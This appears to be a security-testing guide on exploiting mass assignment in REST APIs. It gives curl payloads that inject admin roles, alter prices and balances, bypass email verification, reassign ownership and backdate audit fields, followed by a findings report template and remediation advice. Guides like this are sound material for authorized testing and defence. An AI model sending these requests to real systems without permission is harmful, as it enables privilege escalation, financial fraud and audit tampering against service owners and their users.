Exploiting Mass Assignment In REST Apis

Exploiting Mass Assignment in REST APIs

When to Use

• When testing REST APIs that accept JSON input for creating or updating resources
• During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
• When testing user registration, profile update, or account management endpoints
• During bug bounty hunting on applications with CRUD API operations
• When evaluating role-based access control implementation in API-driven applications

How to CONFIRM a Hit (avoid false negatives)

• The positive signal is a privileged field you injected actually PERSISTING — not a 200 on the write. After sending the extra field, GET/re-read the object (or hit a privileged endpoint) and confirm the value changed: role is now admin, isAdmin/verified is true, balance/price reflects your value. The write succeeding while the field silently reverts is a false positive.
• Two-request proof, always: (1) baseline read shows the original value, (2) update with the injected field, (3) re-read shows it changed AND ideally a behaviour change (you can now reach an admin route, checkout at the lowered price, skip verification). Echoed-back-in-response is weaker than a re-read; an authorization effect is strongest.
• Discover the real field names first: diff the response body (which often exposes more fields than the request accepts) and use Arjun/param-miner — guessing one name and getting a 200 proves nothing.
• Do NOT conclude negative until you have tried ALL of these:
  • Name variants: role, isAdmin, is_admin, admin, user_type, privilege_level, verified, email_verified, active, banned, balance, credits, plan, tier.
  • Nested/relationship forms: {"role":"admin"} vs {"user":{"role":"admin"}} vs owner_id/organization_id/team_id foreign keys.
  • Both creation (POST /register) and update (PUT/PATCH) flows — mass assignment often only works at one.
  • JSON body, form-encoded, and query duplication; arrays vs scalars.
  • Confirm at a DIFFERENT privilege boundary (re-read as the same user, then verify the elevated capability actually works).
• A reverted value on re-read, or a server-managed field ignored at persistence, means NOT vulnerable — verify persistence before reporting.

Prerequisites

• Burp Suite or Postman for API request crafting and interception
• Understanding of ORM auto-binding behavior in common frameworks
• API documentation or endpoint discovery through reconnaissance
• Multiple user accounts with different privilege levels for testing
• Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
• Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 — Test Financial and Business Logic Fields

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 — Test Verification and Status Fields

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 — Test Relationship and Foreign Key Manipulation

# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

Step 6 — Automate Mass Assignment Testing

# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

Key Concepts

Tools & Systems

Common Scenarios

1. Admin Privilege Escalation — Inject "role":"admin" or "isAdmin":true in profile update to gain administrative access
2. Price Manipulation — Modify price or discount fields in order creation endpoints to purchase items at reduced cost
3. Email Verification Bypass — Set email_verified:true during registration or profile update to bypass verification requirements
4. Account Takeover — Modify email or phone fields to attacker-controlled values, then trigger password reset
5. Subscription Upgrade — Inject plan:"enterprise" in subscription update to gain premium features without payment

Output Format

## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields